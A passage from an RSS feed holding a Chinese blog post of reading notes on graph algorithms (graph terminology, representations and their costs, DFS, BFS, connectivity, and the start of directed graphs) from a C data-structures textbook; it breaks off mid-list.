</content:encoded><category>Golang</category></item><item><title>【读书笔记】数据结构与算法分析 - C 语言描述 - 第五部分 - 图算法</title><link>https://www.sulinehk.com/post/note-for-data-structure-and-algorithm-analysis-in-c-part5/</link><guid isPermaLink="true">https://www.sulinehk.com/post/note-for-data-structure-and-algorithm-analysis-in-c-part5/</guid><pubDate>Mon, 02 May 2022 07:24:05 GMT</pubDate><content:encoded>&lt;h2&gt;第十七章 图的性质&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;图的定义：元素的集合 + 元素之间连接的集合&lt;/li&gt;
&lt;li&gt;图论是组合数学的一个主要分支&lt;/li&gt;
&lt;li&gt;图的应用例子：地图；超文本；电路；调度；事务；匹配；网络；程序结构&lt;/li&gt;
&lt;li&gt;任何链式结构都是图的一种表示&lt;/li&gt;
&lt;li&gt;树和链表的算法都是图算法的特例&lt;/li&gt;
&lt;li&gt;算法的开销：元素集性质 + 连接集性质&lt;/li&gt;
&lt;li&gt;术语：
&lt;ul&gt;
&lt;li&gt;图：顶点集 + 边集&lt;/li&gt;
&lt;li&gt;约定：V：顶点数；E：边数&lt;/li&gt;
&lt;li&gt;边将一对不同的顶点连接在一起，每对顶点间至多有一条边连接&lt;/li&gt;
&lt;li&gt;重复边（平行边）：每对顶点间可有任意边相连（多重图）&lt;/li&gt;
&lt;li&gt;自环：顶点连接到自身的边&lt;/li&gt;
&lt;li&gt;简单图：无重复边 + 无自环&lt;/li&gt;
&lt;li&gt;带自环的多重图&lt;/li&gt;
&lt;li&gt;边数：V 个顶点至多有 V(V-1)/2 条边&lt;/li&gt;
&lt;li&gt;称谓：
&lt;ul&gt;
&lt;li&gt;点：顶点、结点（数据结构）&lt;/li&gt;
&lt;li&gt;边：边、链接（数据结构）、弧&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;关系：
&lt;ul&gt;
&lt;li&gt;一条边连接两个顶点&lt;/li&gt;
&lt;li&gt;两个顶点是相互邻接的：A、B 相互邻接&lt;/li&gt;
&lt;li&gt;这条边是依附于这两个顶点的：C 依附于 A、B&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;顶点的度：依附于这个顶点的边数&lt;/li&gt;
&lt;li&gt;子图：原图的边子集 + 顶点子集组成的图&lt;/li&gt;
&lt;li&gt;导出子图：&lt;/li&gt;
&lt;li&gt;绘图：把顶点放在平面上，并画出边
&lt;ul&gt;
&lt;li&gt;约束：边不相交&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;平面图：能在平面上画出的，且边不相交的图&lt;/li&gt;
&lt;li&gt;欧几里得图：距离相关的图&lt;/li&gt;
&lt;li&gt;图同构：有两个图，改变其中一个图的顶点编号后的边集与另一个图相同
&lt;ul&gt;
&lt;li&gt;对于顶点编号有 V! 种可能&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;路径：顶点的序列，其中相邻的顶点在图中也是相邻接的
&lt;ul&gt;
&lt;li&gt;简单路径：顶点和边都不相同
&lt;ul&gt;
&lt;li&gt;环：第一个顶点和最后一个顶点相同，且为简单路径&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;回路：第一个顶点和最后一个顶点相同，但不必是简单路径
&lt;ul&gt;
&lt;li&gt;周游路径：包含图中所有顶点的回路&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;长度：边数&lt;/li&gt;
&lt;li&gt;不相交的：
&lt;ul&gt;
&lt;li&gt;顶点不相交：两条简单路径除端点外无公共顶点&lt;/li&gt;
&lt;li&gt;边不相交：没有公共边&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;连通图：任意顶点到任意顶点都有路径
&lt;ul&gt;
&lt;li&gt;不连通的图由数个连通分量组成&lt;/li&gt;
&lt;li&gt;最大连通分量：在该子图中的顶点没有到图中其它顶点的路径&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;树：无环连通图&lt;/li&gt;
&lt;li&gt;森林：树的集合&lt;/li&gt;
&lt;li&gt;生成树（连通图）：子图中包含所有顶点，且是一棵树&lt;/li&gt;
&lt;li&gt;生成森林（图）：子图中包含所有顶点，且是一个森林&lt;/li&gt;
&lt;li&gt;图是树的条件：各为充分必要条件
&lt;ul&gt;
&lt;li&gt;有 V-1 条边，且无环&lt;/li&gt;
&lt;li&gt;有 V-1 条边，且连通&lt;/li&gt;
&lt;li&gt;每对顶点间只有一条简单路径&lt;/li&gt;
&lt;li&gt;图连通，但删除任意边后就不连通了&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;完全图：所有顶点与所有顶点间均有边相连&lt;/li&gt;
&lt;li&gt;补图：完全图 - 原图（边相减，顶点不变）&lt;/li&gt;
&lt;li&gt;图的并集：边集的并集导出&lt;/li&gt;
&lt;li&gt;任意有 V 个顶点的图都是有 V 个顶点的完全图的子图&lt;/li&gt;
&lt;li&gt;有 V 个顶点的图形式共有 2^{V(V-1)/2} 种&lt;/li&gt;
&lt;li&gt;团：一般图中出现的完全图子图&lt;/li&gt;
&lt;li&gt;图的稠密度：平均顶点度：2E/V&lt;/li&gt;
&lt;li&gt;稠密图：平均顶点度与 V 成正比：E 与 V^2 成正比&lt;/li&gt;
&lt;li&gt;稀疏图：补图为稠密图的图&lt;/li&gt;
&lt;li&gt;二分图：顶点分为两个集合，任意边依附的顶点来自不同的集合
&lt;ul&gt;
&lt;li&gt;递归：任何子图也是二分图&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;有向图：边是单向的，顶点对是有序的（不能任意调换位置）
&lt;ul&gt;
&lt;li&gt;有向边：箭头表示：v-&amp;gt;w
&lt;ul&gt;
&lt;li&gt;第一个顶点：源点（头，head）&lt;/li&gt;
&lt;li&gt;第二个顶点：目的点（尾，tail）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;顶点：
&lt;ul&gt;
&lt;li&gt;入度：进入该点的边数（以该点为目的点的边数）&lt;/li&gt;
&lt;li&gt;出度：离开该点的边数（以该点为源点的边数）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;有向环&lt;/li&gt;
&lt;li&gt;有向无环图（DAG）&lt;/li&gt;
&lt;li&gt;潜在无向图：边可以解释为是无向的&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;加权图（网）：边关联权值或顶点关联权值，可有多个权值&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;图的 ADT：
&lt;ul&gt;
&lt;li&gt;静态图：有固定的顶点和边&lt;/li&gt;
&lt;li&gt;动态图：图处理时会有边或顶点的插入和删除：在线算法（动态算法）&lt;/li&gt;
&lt;li&gt;任务：
&lt;ul&gt;
&lt;li&gt;计算图中某个度量的值：连通分量数；最短路径&lt;/li&gt;
&lt;li&gt;计算图中某个边子集：生成树；含给定顶点的最长环&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;图表示的要求：
&lt;ul&gt;
&lt;li&gt;包含应用中的图类型（不愿意浪费空间）&lt;/li&gt;
&lt;li&gt;有效构造所需的数据结构&lt;/li&gt;
&lt;li&gt;算法不过度受到表示的约束&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;邻接矩阵：稠密图：E 与 V^2 成正比&lt;/li&gt;
&lt;li&gt;邻接表：稀疏图：与 V+E 相比来说 V^2 很大&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;边数组：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;邻接矩阵表示：
&lt;ul&gt;
&lt;li&gt;定义：
&lt;ul&gt;
&lt;li&gt;V*V 的布尔数组，有权值时为整数数组&lt;/li&gt;
&lt;li&gt;二维数组&lt;/li&gt;
&lt;li&gt;有 v-w 这条边时，v 行 w 列值为 1&lt;/li&gt;
&lt;li&gt;空间：V^2&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;无向图时是对称的，可以根据这个特性来节省空间&lt;/li&gt;
&lt;li&gt;自动不允许平行边，其它表示时不允许平行边需要很大的开销&lt;/li&gt;
&lt;li&gt;使用的理由：
&lt;ul&gt;
&lt;li&gt;V^2 很小，使表示的时间可被忽略&lt;/li&gt;
&lt;li&gt;算法多于 V^2 步&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;邻接表表示：
&lt;ul&gt;
&lt;li&gt;定义：
&lt;ul&gt;
&lt;li&gt;将在图中与某顶点邻接的顶点都放入一条链表中&lt;/li&gt;
&lt;li&gt;使用链表数组，给定顶点可访问到那条链表&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;链表的特点：增加新边只需常量时间&lt;/li&gt;
&lt;li&gt;空间：与 V+E 成正比&lt;/li&gt;
&lt;li&gt;检查重复边需搜索链接表，与 V 成正比&lt;/li&gt;
&lt;li&gt;删除边：与 V 成正比&lt;/li&gt;
&lt;li&gt;链表中元素顺序有异&lt;/li&gt;
&lt;li&gt;改进：常量时间的删除边和平行边检测&lt;/li&gt;
&lt;li&gt;缺点：检查边与 V 成正比&lt;/li&gt;
&lt;li&gt;符号表：常量查找边&lt;/li&gt;
&lt;li&gt;变长数组（大型静态表）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;变量、扩展和开销：
&lt;ul&gt;
&lt;li&gt;改进：
&lt;ul&gt;
&lt;li&gt;扩展基本结构可表示其它类型的图&lt;/li&gt;
&lt;li&gt;修改或增大数据结构使某些操作更高效&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;检测 v 的度是否为 0：
&lt;ul&gt;
&lt;li&gt;邻接矩阵：每行每列与 v 对应的元素&lt;/li&gt;
&lt;li&gt;邻接表：adj[v]&lt;/li&gt;
&lt;li&gt;边数组：所有 E 边&lt;/li&gt;
&lt;li&gt;顶点索引数组可以常量时间&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;边数组、邻接矩阵和邻接表开销：&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;边数组&lt;/th&gt;
&lt;th&gt;邻接矩阵&lt;/th&gt;
&lt;th&gt;邻接表&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;占用空间&lt;/td&gt;
&lt;td&gt;E&lt;/td&gt;
&lt;td&gt;V^2&lt;/td&gt;
&lt;td&gt;V+E&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;初始化为空&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;V^2&lt;/td&gt;
&lt;td&gt;V&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;复制&lt;/td&gt;
&lt;td&gt;E&lt;/td&gt;
&lt;td&gt;V^2&lt;/td&gt;
&lt;td&gt;E&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;销毁&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;V&lt;/td&gt;
&lt;td&gt;E&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;插入边&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;查找或删除边&lt;/td&gt;
&lt;td&gt;E&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;V&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;v 的度是否为 0&lt;/td&gt;
&lt;td&gt;E&lt;/td&gt;
&lt;td&gt;V&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;u 到 v 是否有路径&lt;/td&gt;
&lt;td&gt;ElgV&lt;/td&gt;
&lt;td&gt;V^2&lt;/td&gt;
&lt;td&gt;V+E&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;图生成器：
&lt;ul&gt;
&lt;li&gt;随机图生成器：
&lt;ul&gt;
&lt;li&gt;随机边：出现大量自环和平行边，适合稀疏图&lt;/li&gt;
&lt;li&gt;随机图：排除了重复边，边数不准确，适合稠密图&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;图的类型：K-近邻图；欧几里得近邻图；事务图；函数调用图；分离度图；区间图；de Bruijn 图&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;简单路径、欧拉路径和哈密顿路径：
&lt;ul&gt;
&lt;li&gt;找出连接两个给定顶点的一条路径：线性&lt;/li&gt;
&lt;li&gt;图算法中线性代表：在图规模 V+E 的一个常量因子内&lt;/li&gt;
&lt;li&gt;哈密顿路径：给定两个顶点有一条简单路径，且访问图中所有顶点一次
&lt;ul&gt;
&lt;li&gt;哈密顿回路问题：从顶点又回到自身&lt;/li&gt;
&lt;li&gt;最坏：指数&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;欧拉路径：给定两个顶点有一条路径访问图中所有边一次（路径可非简单路径，顶点可访问多次）
&lt;ul&gt;
&lt;li&gt;欧拉回路：从顶点又回到自身，图连通，且所有顶点为偶数度数&lt;/li&gt;
&lt;li&gt;欧拉路径：图连通，且只有两个顶点为奇数度数&lt;/li&gt;
&lt;li&gt;直接递归实现：阶乘&lt;/li&gt;
&lt;li&gt;可达到线性&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;图处理问题：
&lt;ul&gt;
&lt;li&gt;简单（容易）：可用某种精致而有效的小程度解决
&lt;ul&gt;
&lt;li&gt;简单连通性；有向图中的强连通性；传递闭包；最小生成树；单顶点最短路径&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;易解的：时间、空间由图规模（V+E）的一个多项式函数限定
&lt;ul&gt;
&lt;li&gt;平面性；匹配；有向图中偶环；指派；一般连通性；邮差问题&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;难解的（NP-难）：无合理时间
&lt;ul&gt;
&lt;li&gt;最长路径；可着色性；独立集；团&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;未知的：无高效解，且无法认定为 NP-难问题
&lt;ul&gt;
&lt;li&gt;图同构&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第十八章 图搜索&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;定义：系统地检查图中每个顶点和每条边&lt;/li&gt;
&lt;li&gt;DFS：
&lt;ul&gt;
&lt;li&gt;解决连通性问题&lt;/li&gt;
&lt;li&gt;两种实现：
&lt;ul&gt;
&lt;li&gt;递归（系统栈）&lt;/li&gt;
&lt;li&gt;显式栈&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;BFS：
&lt;ul&gt;
&lt;li&gt;解决最短路径问题&lt;/li&gt;
&lt;li&gt;实现：用队列替代 DFS 中的栈&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;探索迷宫：
&lt;ul&gt;
&lt;li&gt;Trémaux 搜索：
&lt;ul&gt;
&lt;li&gt;步骤 1, 2, 3&lt;/li&gt;
&lt;li&gt;可访问所有顶点和边&lt;/li&gt;
&lt;li&gt;右手靠墙时，且图中有环路时无法探索整个迷宫&lt;/li&gt;
&lt;li&gt;根据通道有 4 种情况：1, 2, 3, 4&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;深度优先搜索：对顶点标记，然后递归地访问与该顶点邻接，且未被访问过的顶点
&lt;ul&gt;
&lt;li&gt;遇到 v-w 边时：
&lt;ul&gt;
&lt;li&gt;w 未被标记：递归调用&lt;/li&gt;
&lt;li&gt;w 已被标记：跳过&lt;/li&gt;
&lt;li&gt;相反边 w-v：忽略&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;DFS 树（递归调用树）：搜索过程的一种结构性描述&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;图搜索 ADT 函数：
&lt;ul&gt;
&lt;li&gt;图搜索方法：
&lt;ul&gt;
&lt;li&gt;从顶点到顶点沿着边行进，目的是为了系统地访问每个顶点每条边&lt;/li&gt;
&lt;li&gt;图不连通时（多个连通分量）：每个连通分量调用一次&lt;/li&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;查找一个未标记的顶点（起始顶点）&lt;/li&gt;
&lt;li&gt;访问包含起始顶点的连通分量重的所有顶点，并标记为已访问&lt;/li&gt;
&lt;li&gt;直至图中所有顶点都被标记为已访问&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;每条边定量处理：线性或近似线性&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;DFS 运行时间：
&lt;ul&gt;
&lt;li&gt;邻接矩阵：与 V^2 成正比&lt;/li&gt;
&lt;li&gt;邻接表：与 V+E 成正比&lt;/li&gt;
&lt;li&gt;与图规模呈线性&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;DFS 函数：基于 DFS 模式的所有实现&lt;/li&gt;
&lt;li&gt;使用基于顶点索引的数组：
&lt;ul&gt;
&lt;li&gt;全局变量：搜集图结构的信息&lt;/li&gt;
&lt;li&gt;在图的表示中：计算图信息预处理函数&lt;/li&gt;
&lt;li&gt;作为函数参数由客户提供：实现 ADT&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;标准邻接矩阵 DFS&lt;/li&gt;
&lt;li&gt;标准邻接表 DFS&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;DFS 森林的性质：
&lt;ul&gt;
&lt;li&gt;DFS 访问结点的顺序与前序遍历树的内部结点的序列相同：图搜索为树遍历的推广&lt;/li&gt;
&lt;li&gt;边：检查边等同于访问边
&lt;ul&gt;
&lt;li&gt;树边：表示递归调用的边
&lt;ul&gt;
&lt;li&gt;第一次：树链接：w 未被初始化：递归调用&lt;/li&gt;
&lt;li&gt;第二次：父链接：st[w] 为 v：忽略&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;回边：将某顶点与它的 DFS 树中祖先顶点相连的边，且该祖先不是其父结点
&lt;ul&gt;
&lt;li&gt;第一次：回链接：pre[w] &amp;lt; pre[v]（st[w] != v），pre[] 为前序编号：未完成&lt;/li&gt;
&lt;li&gt;第二次：下链接：pre[w] &amp;gt; pre[v]：已完成&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;连通分量个数 = DFS 森林中树的个数&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;DFS 算法：
&lt;ul&gt;
&lt;li&gt;应用：
&lt;ul&gt;
&lt;li&gt;环检测：一次 DFS 中无回边或向下边则表示无环
&lt;ul&gt;
&lt;li&gt;邻接矩阵：与 V^2 成正比；邻接表：与 V 成正比&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;简单路径：线性&lt;/li&gt;
&lt;li&gt;简单连通性：线性，图只调用 DFS 一次&lt;/li&gt;
&lt;li&gt;双向欧拉回路&lt;/li&gt;
&lt;li&gt;生成树：DFS 树&lt;/li&gt;
&lt;li&gt;顶点搜索：顶点计数&lt;/li&gt;
&lt;li&gt;2-可着色性、二分图性、奇环：按照层次交替指定颜色，并在着色过程中检查回边是否存在不一致性&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;可分离性和双连通性：
&lt;ul&gt;
&lt;li&gt;桥（可分离的边）：图中的某条边，当删除它时会让一个连通图分成两个不相交的子图&lt;/li&gt;
&lt;li&gt;边连通的图：不含有桥的图：每对顶点由两条边不相交的路径连接，边不相交意味着可由公共点，但不能有公共边&lt;/li&gt;
&lt;li&gt;边可分离的图：不是边连通的图&lt;/li&gt;
&lt;li&gt;边连通分量（桥连通分量，不含桥的最大子图）：删除一个边可分离的图中的所有桥而得到的分量（子图）&lt;/li&gt;
&lt;li&gt;DFS 树中的树边 v-w 是桥，当不存在回边时，把 w 的子孙结点和 w 的祖先结点连接起来&lt;/li&gt;
&lt;li&gt;识别桥：线性&lt;/li&gt;
&lt;li&gt;关结点（分离顶点、切割点）：图中的某个顶点，当删除它时会让一个连通图分成至少 2 个不相交的子图&lt;/li&gt;
&lt;li&gt;可分离的：图不是双连通的&lt;/li&gt;
&lt;li&gt;顶点连通的图（双连通的图）：
&lt;ul&gt;
&lt;li&gt;图中每对顶点都有两点不相交的路径&lt;/li&gt;
&lt;li&gt;不含关结点的图&lt;/li&gt;
&lt;li&gt;顶点连通的图都是边连通的，但边连通的图不一定是顶点连通的&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;找出关结点和双连通分量：线性&lt;/li&gt;
&lt;li&gt;顶点：1 连通 = 连通；2 连通 = 双连通
&lt;ul&gt;
&lt;li&gt;图是 k 连通的：至少有 k 条不相交的路径连接每对顶点&lt;/li&gt;
&lt;li&gt;图的顶点连通度：将图分成 2 部分所要删除的最小顶点数&lt;/li&gt;
&lt;li&gt;Menger 定理：顶点连通度 = 顶点间顶点不相交路径的最大个数&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;边：2 边连通 = 边连通
&lt;ul&gt;
&lt;li&gt;图是 k 边连通的：至少有 k 条边不相交的路径连接每对顶点&lt;/li&gt;
&lt;li&gt;图的边连通度：将图分成两部分所需删除的最少边数&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;st 连通性：将 s、t 分离所需删除的最小边数或顶点数&lt;/li&gt;
&lt;li&gt;一般连通性：图的边连通度或顶点连通度&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;广度优先搜索：
&lt;ul&gt;
&lt;li&gt;定义：为了找出从 v 到 w 的一条路径，从 v 开始，对于可以从 v 用 1 条边到达的所有顶点，检查这些顶点是否为 w。不是则检查从
v 用 2 条边到达的顶点，3 条边以此类推。直到找到 w&lt;/li&gt;
&lt;li&gt;队列用作边缘集的数据结构&lt;/li&gt;
&lt;li&gt;队列中的边将访问过的顶点与未访问过的顶点相连&lt;/li&gt;
&lt;li&gt;顶点按照与起始顶点的距离大小进入或离开队列：0, k, k+1&lt;/li&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;从队列中取边，直到某条边指向一个未被访问过的顶点&lt;/li&gt;
&lt;li&gt;访问该顶点，再将从此顶点到未被访问顶点的所有边放入队列中&lt;/li&gt;
&lt;li&gt;直至队列为空&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;以 v 为根的 BFS 树，树中某点 w 到 v 的路径对应着图中 v-w 的最短路径&lt;/li&gt;
&lt;li&gt;邻接矩阵时：与 V^2 成正比&lt;/li&gt;
&lt;li&gt;邻接表时：与 V+E 成正比&lt;/li&gt;
&lt;li&gt;应用：
&lt;ul&gt;
&lt;li&gt;最短路径（点到点）&lt;/li&gt;
&lt;li&gt;单源点最短路径（点到所有点）&lt;/li&gt;
&lt;li&gt;所有对之间最短路径（对每个点执行单源点）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;广义图搜索：
&lt;ul&gt;
&lt;li&gt;边缘集：下一次向树中添加的可能候选边集合&lt;/li&gt;
&lt;li&gt;通用方案：将边缘集中的一条边移到树中，访问这条边指向的顶点，并将由该顶点指向未访问顶点的所有边放入边缘集中，在边缘集中使用一种替换策略来保证其中任意两条边都不指向同一顶点&lt;/li&gt;
&lt;li&gt;无重复目的顶点：
&lt;ul&gt;
&lt;li&gt;DFS：忘记旧元素的栈&lt;/li&gt;
&lt;li&gt;BFS：忽略新元素的队列&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;广义队列（V）+ 替换策略 = 线性访问所有顶点和所有边，空间与 V 成正比
&lt;ul&gt;
&lt;li&gt;邻接矩阵：与 V^2 成正比 + 最坏情况下 V 次插入、V 次删除、E 次更新&lt;/li&gt;
&lt;li&gt;邻接表：与 V+E 成正比 + 最坏情况下 V 次插入、V 次删除、E 次更新&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;策略：随机队列；优先队列&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;图算法分析：
&lt;ul&gt;
&lt;li&gt;寻求理然的、自然的输入模型：设计-分析-实现-测试
&lt;ul&gt;
&lt;li&gt;充分反映实际：大量类型的图&lt;/li&gt;
&lt;li&gt;数学分析检验：数学分析有难度，很多基本分析问题尚未定论&lt;/li&gt;
&lt;li&gt;生成器、问题实例：无法刻画在实际中出现的图类型&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;大型的非稀疏随机图很可能是连通的&lt;/li&gt;
&lt;li&gt;对于大型稀疏图不应该使用邻接矩阵表示（超大型同样不应该）：初始化数组开销昂贵、算法需要检查数组的每个元素&lt;/li&gt;
&lt;li&gt;为大型稀疏图构建邻接表时，为链表结点分配内存的开销很大，为遍历的 5 倍：考虑预先分配数组来降低内存分配的开销&lt;/li&gt;
&lt;li&gt;递归 DFS 在图过大时会崩溃：使用非递归版本（栈）&lt;/li&gt;
&lt;li&gt;合并-查找快于 DFS 或 BFS：因为它不必表示整个图&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第十九章 有向图和无向图&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;有向图中两个顶点有 4 种方式：无边；s-&amp;gt;t；t-&amp;gt;s；s-&amp;gt;t 且 t-&amp;gt;s&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;调度问题：完成工作，且不违反优先关系&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DAG、拓扑排序&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;后面的工作（顶点或边）完成前需要完成前面的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;顶点对应工作&lt;/li&gt;
&lt;li&gt;边对应工作：PERT 图&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;环检测；拓扑排序；传递闭包和强连通分量&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;术语和游戏规则：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;有向图：顶点集 + 连接有序顶点对的有向边集（不含重复边）&lt;/li&gt;
&lt;li&gt;通常约定每个顶点都有一个自环&lt;/li&gt;
&lt;li&gt;有向路径：是一个顶点序列，相邻顶点在图中是有边相连的&lt;/li&gt;
&lt;li&gt;s、t 可达的：存在 s 到 t 的路径&lt;/li&gt;
&lt;li&gt;入度：指向该顶点的边数&lt;/li&gt;
&lt;li&gt;出度：从该顶点指出的边数&lt;/li&gt;
&lt;li&gt;源点：入度为 0 的顶点&lt;/li&gt;
&lt;li&gt;汇点：出度为 0 的顶点&lt;/li&gt;
&lt;li&gt;求入度、出度、源点、汇点：线性，空间则与 V 成正比&lt;/li&gt;
&lt;li&gt;映射：允许自环，且所有顶点出度为 1 的有向图，一个将 0~v-1 上的整数集映射到自身的函数&lt;/li&gt;
&lt;li&gt;逆图：由原图所有边上的方向逆转得到
&lt;ul&gt;
&lt;li&gt;邻接矩阵：转置（交换行和列），如果是不再修改的，就只用交换对行和列的引用&lt;/li&gt;
&lt;li&gt;邻接表：
&lt;ul&gt;
&lt;li&gt;与 E 成正比构建&lt;/li&gt;
&lt;li&gt;维护每条边的两种表示（如无向图），且使用额外一位表示方向（可用指针关联这两条边）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;有向环：由某个顶点回到其自身的简单有向路径，顶点和边都是不相同的&lt;/li&gt;
&lt;li&gt;有向无环图（DAG）：没有有向环的有向图&lt;/li&gt;
&lt;li&gt;有向图是强连通的：每个顶点均由每个顶点可达&lt;/li&gt;
&lt;li&gt;s、t 是强连通的（相互可达的）：s-&amp;gt;t 有路径，且 t-&amp;gt;s 也有路径：等价关系&lt;/li&gt;
&lt;li&gt;环路径：由某个顶点回到其自身的路径，该路径不必是简单地&lt;/li&gt;
&lt;li&gt;非强连通有向图的组成：一组强连通分量（强分量）+ 由一个连通分量到另一个连通分量的一组有向边，其中强连通分量就是最大连通子图&lt;/li&gt;
